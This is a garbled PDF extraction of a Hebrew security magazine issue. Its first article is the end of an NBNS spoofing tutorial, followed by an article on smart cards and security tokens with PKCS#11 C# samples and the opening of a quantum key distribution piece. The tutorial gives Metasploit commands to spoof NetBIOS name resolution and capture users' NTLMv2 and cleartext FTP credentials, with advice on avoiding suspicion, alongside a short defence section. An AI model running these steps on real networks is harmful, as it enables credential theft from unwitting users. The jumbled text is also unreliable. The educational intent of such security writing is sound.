msf auxiliarynbns_response) > show optionsעל מנת לראות אילו אפשרויות יש לנו,‏ נריץ:‏כרטיס הרשת עליו נרצה להאזין.‏NetBIOS <strong>Name</strong>- INTERFACE- REGEX לאיזהלכלל בקשות ה-‏Resolution שנקבל.‏לאיזה כתובתנרצה להתחקות,‏ ברירת המחדל הינה:‏ "*.”נרצה להעביר את הקורבנות שצדנו.‏מה שאומר שנתחקהIP- SPOOFIPmsf auxiliray(nbns_response) > set INTERFACE eth0INTERFACE => eth0msf auxiliray(nbns_response) > set SPOOFIP 10.0.0.6SPOOFIP => 10.0.0.6msf auxiliray(nbns_response) > run[*] Auxiliary mmodule execution completedנכניס את הפרטים:‏ונריץ את השרת:‏[*] NBNS Spoofer started. Listening for NBNS requests...לאחר מכן,‏ נקים שרת שיאזין ויספק שירותי‏)שכמובן דורשים מהמשתמש לספק את פרטי ההזדהותmsf > use auxiliary/server/capture/smbSMBשלו(,‏ נריץ:‏נבדוק אילו אפשרויות יש לנו:‏12<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון 32, יוני 1021


כאשר נשיג את פרטי המשתמש,‏ נשיג אותם כ-‏NTLM‏,‏ ונאלץ לשבור אותם באמצעות תוכנות ייעודיותכדוגמת Cain- CAINPWFILE - JOHNPWFILE ו-‏Hashcat ו-‏JohnTheRipper‏.‏מיקום הקובץ בו ישמרו פרטי המשתמש בפורמט שיהיה נוח להכניסם ל-‏Cain‏.‏כנ"ל,‏ רק לגבי.JohnTheRipper- CHALLENGE מפרוטוקול ההזדהות.‏ה-‏Challenge שישלח לקורבן בשלב ההזדהות,‏ הדבר שקוף לקורבן והוא חלקmsf auxiliray(smb) > set JOHNPWFILE /tmp/pwdsJOHNPWFILE => /tmp/pwdsmsf auxiliray(smb) > run[*] Auxiliary mmodule execution completedנכניס את הפרטים ונריץ את השרת:‏[*] Server started.msf auxiliary(smb) > jobsעל מנת לראות שהכל רץ כמו שצריץ,‏ נריץ:‏JobsId <strong>Name</strong>-- ----0 Auxiliary: spoof/nbns/nbns_response1 Auxiliary: server/capture/smbבמידה ואכן יש לנו שני משימות שרצות - הכל מוכן.‏ נשאר רק לחכות לבקשות.SMBבמידה ואכן נצליח לצוד בקשת,NetBIOS <strong>Name</strong> Resolutionלמשתמש יקפוץ חלון המבקש פרטי ההתחברות לאותו המשאב:‏ולהפנותה לשרת ה-‏SMB שזה עתה הקמנו,‏11<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


לאחר הכנסת הפרטים,‏ תקפוץ לו הודעת שגיאה כי הפרטים אינם נכונים:‏לאחר שליחת הסיסמה,‏ אנחנו נקבל חיווי עם פרטי המשתמש ב-‏NTLMv2‎‏:‏13<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


msf auxiliary(ftp) > run[*] Auxiliary mmodule execution completedונריץ:‏[*] Server started.ושוב,‏נשאר רק לחכות שלקוח יבצעלטובת התחברות לשרתFTP ברשת הפנים-אירגונית.‏Resolutionבמידה ואירוע כזה אכן יתרחש:‏יקפוץ למשתמש חלון המבקש את פרטי ההזדהות שלו:‏ואנחנו נקבל על כךחיווי:‏12<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


במידה והמשתמש יכניס את פרטי ההזדהות שלו וישלח אותם לשרת ה-‏FTP‏,‏ הוא יקבל הודעת שגיאהקלאסית,‏ ואנו נקבל את פרטי ההזדהות שלו ‏)הפעם,‏ מפני שבפרוטוקול ה-‏FTP‏,‏ פרטי המשתמש נשלחיםכ-‏Cleartext‏,‏ נקבל את פרטיו באופן גלוי(:‏גם כאן,‏ חשוב לזכור כי כל עוד נריץ את הכלים,‏ המשתמשים לא יוכלו להתחבר לשום שרתמה שאומר שלאחר שדגנו את פרטי ההזדהות - עלינו לעצור אותם,‏ על מנת שלא נעורר חשד.‏בארגון,‏ FTPהתגוננותעל מנת להתגונן מפני מתקפות מסוג זה,‏ חברת מיקרוסופט ממליצה לערוך את קובץ ה-‏HOSTS וה-‏LMHOSTS של מערכת ההפעלה ולהוסיף לתוכה רשימה שלFQDN‏)קיצור שלFully Qualified Domain)<strong>Name</strong> של כלל המחשבים / שרתים ברשת האירגון.‏ עד כמה זה פרקטי?‏ אני לא באמת יודע.‏ממערכת ההפעלה,Windows 7לחפש רק פעם אחת שרת ,WPAD אם השרת לא נמצא-מיקרוסופט הכניסו פיצ'ר ‏)שמאופשר כברירת מחדל(‏ שמורה למערכתלא יתבצע נסיוןResolutionנוסף.‏ הדבר מקטיןמשמעותית את חלון ההזדמנויות של התוקף,‏ אך עדיין מסכן את המשתמשים ברשת,‏ בייחוד שכיום רובעמדות הקצה הן מחשבי.XPכיום,‏ נראה כי ה-‏Practice ,Best הינו לבטל את עניין ה-‏WPAD‏,‏ ולהפיץ לעמדות קובץPACמקומי בעזרתשרתי הפצות תשתיתיים.‏ העניין הוא שלתוקף יהיה הרבה יותר קשה עד כמעט בלתי אפשרי להתערבבתהליך הפצת קבצי ה-‏PAC ועל ידי כך לשנות את קונפיגורציית שרתי הפרקסי.‏17<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


סיכוםכמו שניתן לראות מהמאמר,‏למתקפה זו פוצנטיאל רב.‏בנוסף לכך,‏נראה כי אין כיום פתרון קסםהמאפשר להתגונן מפניה,‏מדובר במתקפה שקטה מאוד מפני שהיא מתבצעת אל מול הקורבן עצמו,ARP Poisoningוקשה לאתר סימנים שלה מהתבוננות ברמת הרשת בלבד,‏שאותן ניתן לאתר בקלות רבה יחסית גם ברמת הרשת.‏שלא כמו מתקפות כגוןביבילוגרפיה וקישורים לקריאה נוספתטכני בנושאNetBIOSו-‏WPAD‏:‏en.wikipedia.org/wiki/NetBIOSen.wikipedia.org/wiki/Web_Proxy_Autodiscovery_Protocoltechnet.microsoft.com/en-us/library/cc738412(v=ws.10).aspxwww.techrepublic.com/article/how-netbios-name-resolution-really-works/5034239פיתוח בנושא:<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.mcgrewsecurity.com/2007/03/23/developing-a-netbios-name-service-spoofer-part-1/www.mcgrewsecurity.com/2007/03/26/developing-a-netbios-name-service-spoofer-part-2/www.mcgrewsecurity.com/2007/03/27/developing-a-netbios-name-service-spoofer-part-3/www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.htmlמימוש בנושא:<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.mcgrewsecurity.com/2007/03/22/netbios-name-service-spoofing/hypersecurity.blogspot.com/2009/12/netbios-spoofing.htmlwww.skullsecurity.org/blog/2009/pwning-hotel-guestsptsecurity.com/download/wpad_weakness_en.pdfhttp://dsecrg.blogspot.com/2012/01/netbios-spoofing-for-attacks-on.htmlhttp://video.google.com/videoplay?docid=-459641484086612304418<strong>NetBios</strong> <strong>Name</strong> <strong>Service</strong> <strong>Spoofing</strong>www.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


Security Tokensנכתב ע"י יוסף הרושוכרטיסים חכמיםהקדמהבמבט ראשון כרטיס פלסטיק עם לוח מגעים יכול לתת את התחושה של כרטיס אחסון פשוט והאמת היאשמראה ראשוני יכול להטעות.‏ במאמר זה נקבל הצצה לעולם הכרטיסים החכמים וה-‏Tokens .Securityתחילה אסביר מהו,Security Tokenאסקור את הסוגים שקיימים כיום,‏ אראה באילו דרכים ניתןלהתממשק אליהם כמפתחים,‏ אסביר מהם מנגנוני ההגנה שקיימים ב-‏Token Security ואציג דוגמאותלשימושים שעושים בהם כיום.‏היסטוריההכל החל בתחילת שנות ה-‏‎70‎ כאשר שני ממציאים גרמנים בשם יורגן דטלוף והלמוט גרטרופ רשמו פטנטעל הקונספט של כרטיס פלסטיק משולב עם שבב,‏ מספר שנים לאחר מכן פטנט זה פותח גם ביפןובצרפת על ידי ממציאים שונים.‏ לאחר כמה שנים,‏ תחילת שנות ה-‏‎80‎‏,‏ מספר חברות החלו בפיתוח שלהקונספט.‏ בתחילת שנות ה-‏‎90‎ISOהאבטחה והתקנים נולד ה-‏Security-Token המודרני.‏שחררו תקנים בנושא.‏ ומאז,‏ עם התפתחות האלגורימים ודרישותמהו ?Security TokenSecurity Tokenהוא התקן חומרה מוקשח בעל מערכת הפעלה,‏ מעבד,‏ זכרון נדיף,‏ זכרון בלתי נדיף ועודכמה יחידות חומרה פנימיות נוספות שיחד,‏ מרכיבים פתרון ליצירה,‏ אחסון,‏ ושימוש של מידע רגיש בצורהבטוחה ‏)מפתחות הצפנה למשל(.‏ זאת אומרת שאפשר להסתכל עלשתפקידו הוא לאבטח את תכנים מסווגים.‏Security Tokenכאל מחשב קטן12Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


קיימים כיום מספר סוגים של:Security Tokens-כרטיס פלסטיק,‏ בגודל של כרטיס אשראי,‏ משולבChip שחשוף בעזרת לוח מגעיםContact Cardמוזהב:‏לוח המגעים נראה כך:‏‏]במקור:‏ ,http://en.wikipedia.org/wiki/Smart_card#Contact שם גם קיים פירוט על כל אות[‏ל-‏Card ,Contact- SIM Cardכרטיס ה-‏SIM ‏)קיצור של:‏אך הפלסטיק מוקטן כך שיוכל להכנס להתקנים קטנים:‏(Subscriber Identification Moduleדומה)IMSI(,)ICCID(לכל כרטיס SIMקיים מספר סידורי ייחודימזהה בינלאומיועוד מספר מנגנוניהזדהות והצפנה ורכיב זיכרון.‏כרטיס פלסטיק שחיצונית נראה פשוט,‏אך בפנים נמצאשבבואנטנה שמסוגל-Contactless Cardלשדר מידע באופן אלחוטי לצורכי קריאה וכתיבה:‏כרטיסים אלו נראו לראשונה בהונג-קונג בשנתע"י,1997לכרטיסים קראו"Octopus card"Vix Technologyהאוסטרלית.‏ לכרטיסים אלו הוצמדה אנטנה מזערית וציפ מסדרתוהם פותחוFeliCaSonyשליפן.‏ לכרטיס עצמו אין מקור אנרגיה והוא שידר את המידע השמור עליו רק כאשר היה מקבלאנרגיה מקורא כרטיסים.‏30Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


- Combined Cardכרטיס משולבContactlessו-‏Contact החולקים את אותו זיכרוןשניתן לתפעל אותו באמצעות קורא כרטיסים אלחוטי או באמצעות קורא כרטיסים פיזי:‏- זאת אומרת,‏- Hybrid Cardכרטיס משולבContactlessו-‏Contact שלא מתממשקים אחד עם השניכל אחד -מהם חי בעולם שלו,‏ אין לו מושג שעל אותו הפלסטיק יושב לו עוד מודול של כרטיס חכם,‏ כלומר,‏ ניתןלתפעל אותו באמצעות קורא כרטיסים אלחוטי ובאמצעות קורא פיזי בהתאם לצורך:‏קוראי כרטיסיםעל מנת שנוכל להשתמש בכרטיס חכם,‏ יש צורך בקורא כרטיסים.‏ קיימים מספר סוגים של קוראיכרטיסים,‏ בהתאם לסוג הכרטיס.‏ קורא כרטיסים נועד לאפשר תקשורת עם הכרטיס לטובת ביצוע פעולותכמו קריאה,‏ כתיבה,‏ עיבוד מידע ועוד.‏ ברוב המקרים,‏ קורא הכרטיסים מספק לכרטיס החכם את אספקתהחשמל הדרושה.‏קורא כרטיסים עם צורך במגע פיזי של הכרטיס-קורא כרטיסים שדורש הכנסה של הכרטיס אלתוך לקורא.‏ התקשורת נעשית באמצעות התחברות של הקורא ללוח המגעים שחשוף על הכרטיס:‏‏]במקור:‏]http://all-free-download.com/free-vector/vector-misc/electronic_products_vector_155683.html32Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


-קוראכרטיסיםפיזי במגע צורך ללאקוראכרטיסיםעם מגע דורש שאינוהכרטיס.‏התקשורתוהקורא רדיו תדר גבי על נעשיתמסוגלהכרטיס עם לתקשרבמרחק הוא כאשרמסויםממנו.‏‏]במקור:‏]http://all-free-download.com/free-vector/vector-misc/electronic_products_vector_155683.htmlחומרה יעודיתToken - Trusted Platform Module - TPMלוחות האם שמיוצרים כוללים רכיב זה:‏אשר מותקן על גבי לוח האם של המחשבלא בכל -‏]במקור:‏]http://latesttech-news.com/infineon-trusted-platform-module/- Hardware Security Module - HSM התקן ,PCI, Tamper Resistant מספקבתקנים המחמירים ביותר:‏ביצועים גבוהים ועומד31גליון‏]במקור:‏]http://all-free-download.com/free-vector/vector-misc/electronic_products_vector_155683.htmlSecurity Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


- USB Tokens התקן USB שנראהכמוDisk On Keyאך בפועל הואSecurity Tokenלכל דבר:‏‏]במקור:‏]http://all-free-download.com/free-vector/vector-misc/electronic_products_vector_155683.htmlעקרונות אבטחה וסטנדרטים לפיתוחתמיד נעדיף לאבטח מידע רגיש בתוך ה-‏Token Security ולהגדיר שישאר שם ולא יצא.‏ לצורך העניין נניחואנו מעוניינים לנפק למשתמש בארגון שלנו זוג מפתחות אסימטריים ותעודה דיגיטאלית שישמשו אותולהתחברות ל-‏Controller .Domain ראשית,‏ נחולל זוג מפתחות אסימטרי על ה-‏Token תוך הגדרהשהמפתחות לא יוצאים מהכרטיס בשום מצב.‏ לאחר שהמפתחות נוצרו,‏ נייצר בקשה לתעודה על פי תקןPKCS#10כאשר הבקשה לתעודה תכלול פרמטרים שמזהים את המשתמש בדומיין ונעביר אותה אלCAלניפוק של תעודה.‏לאחר שיש קובץ תעודה שמקשר בין המשתמש בדומיין לבין המפתח הפומבי,‏ נתקין את התעודה על ה-‏.Token:Cryptoki DLL – PKCS #11מאחר וקיימים מגוון רחב של יצרני,Security Tokens.Tokensקיים מסמך מביתאפליקציות לצרכי התממשקותפי ההנחיות שמוגדרת בתקן.‏RSA Laboratoriesשנקראיש צורך בממשק עבודה גנרי מול ה-‏SecurityPKCS#11שמגדיר איך נראהDLLל-‏Tokens .Securityשישמשבאחריות יצרן ה-‏Token Security לפתח את ה-‏DLL עלהזדהות ל-‏Token :Securityעל מנת להפעיל פונקציונליות מסויימת על ה-‏Token כמו הצפנה,‏ יש להזדהות אליו תחילה.‏ על פי תקןPKCS#112 ישנןיישויות איתם ניתן להזדהות אל ה-‏Token‏:‏- Security Officer,Tokenמשתמש זה הוא לפעילויות ניהוליות של ה-‏Token‏,‏ למשל:‏ הוא יכול לאתחל את ה-‏לשנות לעצמו את הסיסמא,‏ לקבוע סיסמא ל-‏User במידה ואין לו אחת ‏)קורה לאחר אתחול(‏אך לא יכול להשתמש במפתחות ההצפנה והתעודות של ה-‏User‏.‏33Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


- Userמשתמש זה הוא עבור המחזיק ב-‏Token שאמור לעשות שימוש במפתחות ובתעודותשנמצאות עליו.‏ משתמש זה יכול לשנות לעצמו את הסיסמא,‏ אך במידה ושכח אותה,‏ אין ל-‏SecurityOfficerיכולת לשחזר או להחליף אותה.‏הגנה מפניעל ה-‏Token יש:Broute ForceCounterעל כל נסיון התחברות כושל.‏ כשה-‏Counter מגיע למספר מסויים,‏ הגישה אליונחסמת ומהסיבה שביטול נעילה של הPIN לא קיים בתקן,PKCS#11נדרש אתחול של ה-‏Token‏.‏ אך עםנעלנו את ה-‏Officer ,Security אנחנו בבעיה ובחלק מה-‏Token‏-ים לא יהיה מה לעשות חוץ מלזרוק אותו.‏פיתוח מול ה-‏Token :SecurityPKCS#11פרוצדורלימספק ספציפיקציה מאוד מפורטת על חתימות של פונקציות לעבודה עם ה-‏Token באופןAPI - בשפת .Cלעבודה יותר נוחה ו-‏OOP תי-‏קיימים מספר פרוייקטי,Open Source.אני ספציפית משתמש וחבר ב-‏Source Open שנקראשמספקים עטיפה של ה-‏API הבסיסי.PKCS11.NETדוגמת קוד בשפתC#להתחברות שלושל User:Security Officerpublic void Init(){Module module = Module.GetInstance("crypoki.dll");Slot smartCardReader = module.GetSlotList(true).First();bool isReadOnly = false;Session session = smartCardReader.Token.OpenSession(isReadOnly);try{session.Login(UserType.SO, "SO-PASSWORD");session.Logout();}session.Login(UserType.USER, "USER-PASSWORD");session.Logout();}finally{CloseSession(session);}34Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


דוגמת קוד בשפתליצור זוג מפתחות אסימטריים כאשר המפתח הפרטי מוגדר כמפתח שלא יצא מה-‏public void GenerateRsaKeyPair(){char[] lbl= "my-rsa-pair".ToCharArray();byte[] id= new byte[]{123};byte[] pubExp=new byte[]{3};uint modulusBits=1024;RSAPublicKey pubTemplate=new RSAPublicKey();pubTemplate.Token.Value=true;pubTemplate.Encrypt.Value=true;pubTemplate.Verify.Value=true;pubTemplate.Label.Value=lbl;pubTemplate.Id.Value=id;pubTemplate.PublicExponent.Value= pubExp;pubTemplate.ModulusBits.Value=modulusBits;RSAPrivateKey privTemplate= new RSAPrivateKey();privTemplate.Token.Value=true;privTemplate.Sign.Value=true;privTemplate.Decrypt.Value=true;privTemplate.Label.Value=lbl;privTemplate.Id.Value=id;privTemplate.Sensitive.Value=true;C#Token לאחר שנוצר:‏session.GenerateKeyPair(new Mechanism(CKM.RSA_PKCS_KEY_PAIR_GEN),pubTemplate,privTemplate);}35Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון 32, יוני 1021


:APDUממשקLow Levelלכרטיס,‏ בו משגרים מבנה נתונים שמכיל מזהה פקודה ומידע נלווה.‏ יש יצרניים שמנחים אפליקציות מסויימות לשגר פקודותבתקן-TokenAPDUAPDU פקודות .PKCS#11לדוגמא:‏מידע נלווה:‏פקודה:‏ל-‏Token בכדי לקבל פונקציונליות שלא קיימת--התחברות כ-‏Officer Securityביטול נעילת PIN משתמשאתחול ה-‏Tokenשינוי סיסמאהסיסמא של ה-‏Officer Securityהסיסמא החדשהדלף מידעבארגונים מסויימים,‏ מדיניות האבטחה מגדירה הפרדה של רשת הארגון מרשתות אחרות.‏ אם נעשהשימוש בכרטיסים החכמים גם מחוץ לרשת הארגון,‏ תוקף יכול לנצל זאת בכדי להדליף מידע כאשר כל מהשהוא יצטרך זה2 סוכנים,‏אחד בכל רשת.‏נניח כי תוקף ירצה להדליף מסמכים מסווגים של הארגון,‏ כל אשר עליו לעשות הוא לפצל את המסמכיםלקבצים קטנים,‏ ובכל פעם להעביר חלק אחר של הקבצים.‏ עכשיו אתם בטח חושבים,‏ מאיפה לו הסיסמאשל ה-‏User בכדי לכתוב מידע לכרטיס?‏ התוקף יכול:‏לעשותHookingלאינפוטים של הסיסמא ל-‏Token‏.‏להזריק קוד לאפליקציה שמשתמשת ב-‏Token וכבר יש להלנסות סיסמאת ברירת מחדל ועוד.‏Sessionפתוח איתו.‏מסיבה זו,‏ קיימים פיצ'רים בחלק מה-‏Token‏-ים שהופכים אותו ל-‏Read-Only ‏)פקודת APDU שלא חלק מ-‏)PKCS #11זה אומר שלאחר הכנסת ה-‏Token למצב זה,‏ לא יהיה ניתן להוסיף,‏ למחוק או לשנות מידעמה-‏Token אלא רק לעשות שימוש במה שקיים עליו.‏ מידע על מתקפות נוספות קיים בקישורים בסוףהמאמר.‏32Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


הזדהות ביומטרית לכרטיסקיימים גופים שדורשים מלבד סיסמאת משתמש גם הזדהות לכרטיס,‏ כמו דוגמא הזדהות אליו באמצעותטביעת אצבע.‏ נושא זה הוא קצת בעייתי,‏ בגלל שבתקןPKCS#11לא תיארו מצב כזה ולכן יש הרבהויש כאלה שיכולים להיות ברמה של .PKCS#11 ,APDU שיכולים להיות ברמת Workaroundsדוגמא ל-‏Workaround לאתחול ביומטרי בממשקsession.Login(UserType.USER, null);:PKCS#11הכוונת היצרן היא,‏ שהוא משנה את ההתנהגות של פונקציית ה-‏Login שכשאתה מספק לוסיסמא,‏ מועלה לך מסך אינטראקטיבי להזדהות ביומטרית.‏NULLבמקוםTokenלשרתיםגם שרתים צריכיםםי-‏ Tokenאחר.‏ לרוב נשלב בשרתים–בין אם זה שרת שמצפין את ה-‏DB בארגון,‏ שרת,CA.HSM מסוג Tokenאו כל שרת רגישהבעיה היא שהם רכיבים יקרים ושלארגון לפעמים לאמשתלם לקנות HSM לכל שרת,‏ ולכן,‏ קיים פתרון שנקרא שרת Network HSM שהוא שרת ארגוני,‏ שרקבו מותקן HSM והוא מספק פתרונות קריפטוגרפיים לשאר השרתים בארגון.‏למשל,‏ אם יש לי שרת שאני צריך להצפין בו את ה-‏DB‏,‏ אתקין תוכנה שתדמה,Tokenשבפועל תעשהפנייה ב-‏SSL לשרת ה-‏HSM Network ותבקש ממנו להצפין את המידע,‏ כמו גם לגבי פיענוח,‏ חתימה ושארהשימושים ש-‏Token מאפשר.‏,PKIהזדהות ל-‏DC ושילוביות שלTokensבארגונים גדולים נוח מאוד למנהלי רשת להתנהל בעזרת תשתית ה-‏Directory ,Active יצירת משתמשים,‏איפוס סיסמאות,‏ הפצה של סקריפטים,‏ מדיניויות,‏ ועוד מלא כלי ניהול נהדרים.‏ הבעיה היא המצב שבוהמשתמש מזדהה לDomain - עם סיסמא.‏מרבית האנשים לא יודעים לבחור סיסמא שתאבטח את המשתמש הדומייני שלהם ולרוב הם ישתמשובאותה הסיסמא גם לחשבונות המייל,‏ פייסבוק ושאר שירותים אינטרנטיים שדורשים אוטנטיקציה.‏PKI יישום - קיים פתרוןבתהליך ההזדהות ל-‏Domain‏.‏ ‏)מידע מורחב עלPKIקיים בקישורים בהמשך(,‏ אםנספק לכל עובד בארגון Token שמכיל תעודה עם Extension שמפרט מהו ה-‏UPN של ה-‏User ב-‏Domain37Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


ו-‏Policy להזדהות ה-‏Client‏,‏ נוכל לבצע התחברות ללא סיסמא,‏ בהנחה וה-‏Controller Domain סומך עלה-‏CA שניפק את התעודה לעובד וההפך - שהתחנה של העובד סומכת על על ה-‏CA שניפק את התעודהשל ה-‏Controller .Domainאובדן Security Tokenאז מה עושים עם אבד הToken Security לעובד בארגון שלנו?‏ כפי כהזכרתי מקודם,‏ בכדי להשתמשבכרטיס יש צורך ‏"להוכיח"‏ שאתה בעליו,‏ לכן גורם זדוני שיחזיק בToken Security לא אמור להכיר אתהסיסמא שלו ואם הוא בכל זאת ינסה להתחכם,‏ כעבור מספר נסיונות הToken Security ינעל.‏ יחד עםזאת קיימת חשיבות לניהול הCredentials שמכילה-‏PKI‏,‏ רצוי לעשותהToken SecuritySuspend\Revokeבמקרה של אובדן.‏ למשל בתשתיתלתעודה הדיגיטלית שמקושרת למפתח ע"י הוצאת.CRLשימושיםכל אחד מאיתנו מחזיק ב-‏Token .Security הם משתלבים בחיינו בלי שנשים לב - הטלפון הנייד,‏ כרטיסיותגם בתעודת הזהות החכמהבקרוב בחברה בה אנו עובדים,‏ כרטיסי האשראי,‏ התחבורה הציבורית,‏ ובדרכונים.‏קיימים עוד מגוון שימושים עםSecurity Tokensוזה הולך ומתרחב.‏ אני מאוד מקווה שכשיסיימו עם כלהבירוקרטיה של פרוייקט תעודת זהות חכמה,‏ יבחרו לאחסן את טביעת האצבע של האזרחים רק עלמערכת ההפעלה המוקשחת של הכרטיס החכם ולא במאגר ממשלתי.‏‏]במקור:‏http://he.wikipedia.org/wiki/%D7%A8%D7%91-, http://www.globes.co.il/news/article.aspx?did=1000628941]%D7%A7%D7%9538Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


סיכוםבמאמר זה ראינו כיSecurity Tokenשרוצה לפגוע בנו.‏ לפני יישום של פתרון מסוג זה,‏ חשוב לוודאברמה הקונפיגורבלית - שהוא אינו מגיע עם סיסמאותהינו מחשב מורכב ומוקשח,‏ אשר עושה חיים קשים לגורם הזדונישה-‏Token SecurityUser \ Security Officerמספיק מאובטחברירת מחדל,‏ שלא קייםעליו מידע רגיש שלא הוגדר ככזה,‏ שהוא עומד בכל התקנים ובמידת הצורך גם מספק התממשקות נוחהלמפתחים.‏אודות המחברשמי יוסף הרוש,‏ אני מתכנת בחברה שמתמחה באבטחת מידע וצופן ואני חלק מצוות פיתוח שמספקפתרונותPKIוגרפיקה.‏ אתעם כרטיסים חכמים.‏ התחביבים שלי הם מחשבים,‏ תכנות בקהילות ה-‏OpenSource‏,‏ צילום<strong>Digital</strong> <strong>Whisper</strong>הכרתי עם הגעתי לחברה בה אני עובד שכחלק מההכשרה שעברתיהייתה מבוססת על המאמרים שכתובים פה במגזין.‏ כבוד הוא לי להיות חלק משיתוף הידע.‏אשמח לתגובות ולשאלות:‏jossef12@gmail.comReferencesתקיפות כנגד כרטיסים חכמים:‏תקניhttp://www.hbarel.com/publications/Kanown_Attacks_Against_Smartcards.pdf:RFID Hackinghttp://www.digitalwhisper.co.il/files/Zines/0x02/DW2-4-RFID-Hacking.pdfפרוייקט:PKCShttp://en.wikipedia.org/wiki/PKCS:PKCS11.NEThttp://sourceforge.net/projects/pkcs11netHSMמאמר עלרשתי שמפתחת חברה ישראלית בשם:ARXhttp://www.arx.com/products/private-server-hsm:PKIhttp://www.digitalwhisper.co.il/files/Zines/0x03/DW3-1-PKI.pdf32Security Tokens וכרטיסים חכמיםwww.<strong>Digital</strong><strong>Whisper</strong>.co.ilגליון,32 יוני 1021


שימוש בעקרונות האי-וודאות למניעת מתקפות Man InThe Middleהקדמהנכתב ע"י יאיר מוליאן,‏ תורגם ע"י תום רז,‏ אפיק קסטיאל ושילה ספרה מלרמציאת דרך להעברת מידע ממקום אחד למשנהו באופן בטוח הינה בעיהוקריפטוגראפים מתעסקים לא מהיום.‏ מטרתנו העיקרית הינה להבטיח כיהאדם הרצוי ‏)הנמען(‏ יוכל לקרוא את התוכן שנשלח אליו.‏שבה מדענים,‏ מתמטיקאיםאף אדם ‏)או מכונה(‏ מלבדתהליך החישוביות הקשור בהעברת המידע מתבצע תמיד ע"י אמצעים פיזיים וחוקים פיזיקאלים בסיסייםמשחקים תפקיד חשוב כאשר מדובר על רמת האבטחה.‏ מסריקה זריזה ניתן לראות כי כיום מרביתהשיטות שנמצאות בשימוש מבוססות על פיזיקה קלאסית.‏ עם זאת,‏ למרות ששיטות אלה כרגע נחשבותכבטוחות,‏ הן בדרך כלל מבוססות על ההנחה כי לתוקף קיים כוח מוגבל של חישוביות.‏ דוגמא טובה הינההשימוש באלגוריתם ההצפנה הנפוץ כל כך,‏ ה-‏RSA‏.‏ ההנחה המרכזית בו היא שניתן לדעת את ערכיP,N בהינתן Qאך כאשר N הוא מספר עצום,‏ משך זמן פעולת פירוקו לגורמים יהיה רב באופן משמעותי.‏ו-‏שימוש במערכת קוונטית ‏)כגון פוטונים מקוטבים או שימוש בחלקיקים בעלי ספין(½להעברת מידעדיגיטלי,‏ מעלה תופעות הצפנה קוונטית,‏ עקב עקרון אי הודאות ומשפט בל,‏ שמבטיחות כי אפילו מצותתבעל כוח חישוביות אין סופית לא יוכל להתחמק מלהיתפס בעת ניסיון לביצוע מתקפה.‏המדע העומד מאחורי הצפנה קוונטית נחשב חדש יחסית.‏ והוא נראה כמו תשובה מושלמת לבעיותחשובות רבות.‏ לדוגמא,‏ על ידי יצירת רצף מספרים רנדומליים אמיתי ‏)בניגוד למספרי פסבדו-אקראייםשנוצרים בדרך כלל ע"י אלגוריתם במחשב(‏ לא ניתן יהיה לזייף כסף,‏ וניתן יהיה להגן על מידע מפניהעתקתו או ציתותו.‏ כרגע,‏ הרב עדיין תיאורטי בלבד והכל עדיין בחיתוליו.‏ אך בכל זאת,‏ קיים נושא אחדשיכול להיות מעשי אפילו עם הטכנולוגיה והידע שיש כיום בנושא והוא החלפת מפתחות קוונטית ‏)אובאנגלית:‏ )Quantum Key Distributionובו נתמקד במאמר זה.‏הצפנה קוונטית מסתמכת על נושאים רבים אחרים שהייתי מעוניין להציג לפני שנגש לנושא עצמו.‏ החלקהראשון במאמר ידון בחלקים מרכזיים בהצפנה ומייצגים את האופן בו הדברים מתבצעים כאשר הםמבוססים על פיזיקה קלאסית.‏ לאחר מכן,‏ נדון בעקרונות הקשורים בעולם הקוונטי,‏ בשימוש בפורמליזםהמתאים לתאור מידע קוונטי.‏ המושגים שיהיו חשובים לחלקים שאחריהם כמו עיקרון האי וודאות,‏ שזירות40גליוןשימוש בעקרונות האי-וודאותלמניעת מתקפותMiddle Man In Thewww.<strong>Digital</strong><strong>Whisper</strong>.co.il,32 יוני 1021


